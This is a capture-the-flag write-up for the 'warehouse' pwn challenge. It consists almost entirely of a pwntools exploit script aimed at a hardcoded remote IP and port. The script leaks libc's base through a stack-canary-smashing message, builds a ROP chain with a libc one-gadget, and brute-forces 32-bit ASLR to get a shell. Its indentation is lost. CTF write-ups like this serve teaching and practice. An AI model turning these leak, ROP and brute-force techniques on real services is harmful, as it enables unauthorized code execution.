Tags: pwn python 

Rating:

The challenge gives a relative write-what-where in a buffer on the stack. Using this, we can acquire a one-time arbitrary read in one run, and build our ROP chain for code execution in another run.

```
#!/usr/bin/python
"""
Used Dragon Sector's SSP leak idea to get the base address of libc during one run, before
bruteforcing the 32-bit ASLR. Couldn't think of another way to get a read without crashing
the process, so this was the best I could come up with. Using the leak, one can abuse the
weakness of ASLR on 32-bit Linux systems, and just bruteforce their way into a shell,
either in minutes or seconds.

Reference: http://j00ru.vexillium.org/blog/29_05_14/dragons.pdf

-0x100000000 is used where the unsigned value is > MAX_LONG and thus has to become signed in order to get value written.
"""

from pwn import *

binary = "./warehouse"

ip = '200.136.213.83'
port = 8888

#DEBUG = True
DEBUG = False
context.log_level = "DEBUG"

elf = ELF(binary)

remote_libc = ELF("./libc.so.6")
debug_libc = ELF("/lib/i386-linux-gnu/libc.so.6")

def get_libc():
if DEBUG:
return debug_libc
else:
return remote_libc

libc = get_libc()
canary_offset = 0x40
ret_offset = 0x48 #Right where we can begin building our rop chain

p = None

def get_pipe():
if DEBUG:
return process(binary)
else:
return remote(ip, port)

#Data at address if stderr is redirected to socket output. So we can get this.
def leak_ssp(read_addr):
leak_proc = get_pipe()
#Overwrite argv[0]
leak_proc.sendline(str(0x6e))
leak_proc.sendline(str(read_addr))
#Smash the canary
leak_proc.sendline(str(canary_offset))
leak_proc.sendline(str(0x7fffffff)) #1 in 2^32 chance this would fail.
#Cause the crash
leak_proc.sendline(".")
leak_proc.recvuntil("***: ")
output = leak_proc.recv()
leak_proc.close()
return output[0:output.index(" terminated")]

#And we've got a working one-time read. What's a nice gadget?
"""
0x3a819 - esi = GOT address of libc, [esp+0x34] == NULL
0x5f065 - esi = GOT address of libc, eax == NULL, this we can make happen I think.
0x5f066 - esi = GOT address of libc, [esp] == NULL

To set up the esi, there's this...
0x080486ad : pop esi ; pop edi ; pop ebp ; ret

So,
pop_esi_edi_ebp_ret
libc_got
0x00000000
0x00000000
"""

#Begin to build our guess
start_main = leak_ssp(elf.got['__libc_start_main'])
start_main = unpack(start_main[0:4])
libc_base = start_main - get_libc().symbols['__libc_start_main']

print "Gonna guess for libc_base", hex(libc_base)

if DEBUG:
magic_gadget = 0x5fbc5
else:
magic_gadget = 0x5f065 #Remnant of code for own libc

#Build the ROP chain
pop_esi_edi_ebp_ret = 0x080486ad
#Legit, need to get the .got.plt address of them.

got_addr = get_libc().get_section_by_name('.got.plt').header['sh_addr']
libc_got = libc_base + got_addr

#Don't be afraid to bruteforce 32-bit ASLR
while True:
p = get_pipe()
#libc_base = int(raw_input("DEBUG: Where is libc's base?"), 16)
print "Guessing libc_base:", hex(libc_base)
p.sendline(str(ret_offset))
p.sendline(str(pop_esi_edi_ebp_ret))
p.sendline(str(ret_offset+1))
p.sendline(str(-0x100000000 + libc_got))
#eax should already be zero. Can skip over +2, and +3 for next ret
p.sendline(str(ret_offset+4))
p.sendline(str(-0x100000000 + libc_base + magic_gadget)) #Offset added to get value in

p.sendline(".") #Hopefully get our shell?
time.sleep(1)
if "Your stuffs" not in p.recv():
print "No crash yet?"
p.interactive()
else:
p.close()

```